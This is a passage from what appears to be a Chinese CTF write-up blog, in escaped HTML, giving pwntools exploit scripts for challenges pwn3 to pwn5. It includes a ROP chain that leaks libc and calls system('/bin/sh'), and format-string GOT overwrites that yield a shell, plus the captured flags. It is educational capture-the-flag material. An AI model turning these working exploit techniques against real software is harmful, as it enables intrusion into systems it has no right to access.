&lt;&#x2F;span&gt;&lt;span&gt;    p &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;process(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;.&#x2F;pwn3&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;smsg&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;payload&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;    p.sendlineafter(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&amp;gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;smsg&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# 移动buf指针
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;_ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;range&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;80&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;        p.sendlineafter(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;-&amp;gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;        p.sendlineafter(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;Send?(Y&#x2F;N)&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;N&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    p.sendlineafter(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;-&amp;gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;7&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span&gt;payload)
&lt;&#x2F;span&gt;&lt;span&gt;    p.sendlineafter(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;Send?(Y&#x2F;N)&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;Y&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;plt_puts&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x401040
&lt;&#x2F;span&gt;&lt;span&gt;got_puts&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x404020
&lt;&#x2F;span&gt;&lt;span&gt;pop_rdi&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x40155b
&lt;&#x2F;span&gt;&lt;span&gt;restart&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x4010B0
&lt;&#x2F;span&gt;&lt;span&gt;ret&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x4014FA
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# 下面的同上一题
&lt;&#x2F;span&gt;&lt;span&gt;smsg(flat(flat(
&lt;&#x2F;span&gt;&lt;span&gt;    pop_rdi,got_puts,
&lt;&#x2F;span&gt;&lt;span&gt;    plt_puts,
&lt;&#x2F;span&gt;&lt;span&gt;    restart
&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;word_size&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;64&lt;&#x2F;span&gt;&lt;span&gt;)))
&lt;&#x2F;span&gt;&lt;span&gt;p.recvuntil(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;Sent.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;puts_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;u64(p.recvuntil(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)[:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;].ljust(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\0&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;))
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;hex&lt;&#x2F;span&gt;&lt;span&gt;(puts_addr))
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;libc&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;LibcSearcher(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;puts&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,puts_addr)
&lt;&#x2F;span&gt;&lt;span&gt;smsg(flat(
&lt;&#x2F;span&gt;&lt;span&gt;    pop_rdi,libc.dumpb(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;str_bin_sh&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;),
&lt;&#x2F;span&gt;&lt;span&gt;    ret, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# 对齐栈
&lt;&#x2F;span&gt;&lt;span&gt;    libc.dumpb(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;system&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;word_size&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;64&lt;&#x2F;span&gt;&lt;span&gt;))
&lt;&#x2F;span&gt;&lt;span&gt;p.interactive()
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# bmzctf{16833c9c-5ce7-4878-b975-f4ed1fac6049}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;pwn4&quot;&gt;pwn4&lt;&#x2F;h2&gt;
&lt;p&gt;这题又是格式化字符串漏洞，但是这次看上去只有一机会，但是肯定是不可能一次就&lt;code&gt;getshell&lt;&#x2F;code&gt;的。&lt;&#x2F;p&gt;
&lt;p&gt;在结束程序前，唯一的操作就是进行了&lt;code&gt;Canary&lt;&#x2F;code&gt;检测，那就利用这个，将GOT表中&lt;code&gt;___stack_chk_fail&lt;&#x2F;code&gt;的地址改成&lt;code&gt;main_0&lt;&#x2F;code&gt;的地址，同时故意输入很长，触发&lt;code&gt;Canary&lt;&#x2F;code&gt;保护，就可以进行多次&lt;code&gt;printf&lt;&#x2F;code&gt;了。当然，之后的每一次也要故意溢出。&lt;&#x2F;p&gt;
&lt;p&gt;可以布局栈然后修改&lt;code&gt;___stack_chk_fail&lt;&#x2F;code&gt;地址到自己布局的栈上。而我利用了&lt;code&gt;setvbuf(stdin, 0LL, 2, 0LL);&lt;&#x2F;code&gt;，将&lt;code&gt;setvbuf&lt;&#x2F;code&gt;改成&lt;code&gt;system&lt;&#x2F;code&gt;，&lt;code&gt;stdin&lt;&#x2F;code&gt;改成&lt;code&gt;&#x2F;bin&#x2F;sh&lt;&#x2F;code&gt;的地址。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;pwn &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;LibcSearcher &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;REMOTE&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;True
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;REMOTE&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;    context(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;os&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;linux&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;log_level&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;debug&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    p &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;remote(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;47.242.59.61&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;10003&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;else&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;    context(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;os&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;linux&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;log_level&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;info&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    p &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;process(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;.&#x2F;pwn4&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;got_stack_chk_fail&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x601020
&lt;&#x2F;span&gt;&lt;span&gt;got_printf&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x601028
&lt;&#x2F;span&gt;&lt;span&gt;got_setvbuf&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x601058
&lt;&#x2F;span&gt;&lt;span&gt;bss_stdin&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x601088
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;p.sendlineafter(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;: &amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;send&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;payload&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;    p.sendafter(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;: &amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,flat({&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;:[payload],&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;31&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;},&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;word_size&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;64&lt;&#x2F;span&gt;&lt;span&gt;))
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;padding&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;data&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;length&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span&gt;data&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;(length&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;(data))
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# stack_chk_fail -&amp;gt; main_0
&lt;&#x2F;span&gt;&lt;span&gt;send(padding(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;%2245c&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;%8$hn&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;16&lt;&#x2F;span&gt;&lt;span&gt;),got_stack_chk_fail)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# leak glibc
&lt;&#x2F;span&gt;&lt;span&gt;send(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;%7$s    &amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,got_printf)
&lt;&#x2F;span&gt;&lt;span&gt;printf_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;u64(p.recvuntil(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39; &amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)[:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;].ljust(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\0&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;))
&lt;&#x2F;span&gt;&lt;span&gt;libc&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;LibcSearcher(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;printf&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,printf_addr)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;set&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;addr&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;value&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;i &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;range&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;(value)):
&lt;&#x2F;span&gt;&lt;span&gt;        j&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;value[i]
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;j&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;==&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;            send(padding(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;%7$hhn&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span&gt;),addr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span&gt;i)
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;else&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;            send(padding(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;%&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;str&lt;&#x2F;span&gt;&lt;span&gt;(j)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;c%8$hhn&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;16&lt;&#x2F;span&gt;&lt;span&gt;),addr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span&gt;i)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# setvbuf -&amp;gt; system
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# stdin   -&amp;gt; &amp;quot;&#x2F;bin&#x2F;sh&amp;quot;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;set&lt;&#x2F;span&gt;&lt;span&gt;(bss_stdin,p64(libc.dumpb(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;str_bin_sh&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)))
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;set&lt;&#x2F;span&gt;&lt;span&gt;(got_setvbuf,p64(libc.dumpb(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;system&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)))
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# stack_chk_fail -&amp;gt; setvbuf(stdin)
&lt;&#x2F;span&gt;&lt;span&gt;send(padding(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;%&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;str&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x56&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;c%8$hhn&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;16&lt;&#x2F;span&gt;&lt;span&gt;),got_stack_chk_fail)
&lt;&#x2F;span&gt;&lt;span&gt;p.interactive()
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# bmzctf{71fe464d-3d28-49d8-952b-e338dd60d169}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;pwn5&quot;&gt;pwn5&lt;&#x2F;h2&gt;
&lt;p&gt;这题又双叒叕是格式化字符串漏洞，这次是有一个计数器来限制只允许调用一次，但是这个计数器也在栈中，因此开头输入&lt;code&gt;%7$n&lt;&#x2F;code&gt;就可以绕过了(输&lt;code&gt;%7$lln&lt;&#x2F;code&gt;还可以同时清空&lt;code&gt;leak&lt;&#x2F;code&gt;函数的计数器，但是我没有用到&lt;code&gt;leak&lt;&#x2F;code&gt;函数= =)，接下来就是常规的布局栈、跳转。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;pwn &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;LibcSearcher &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span&gt;re
&lt;&#x2F;span&gt;&lt;span&gt;
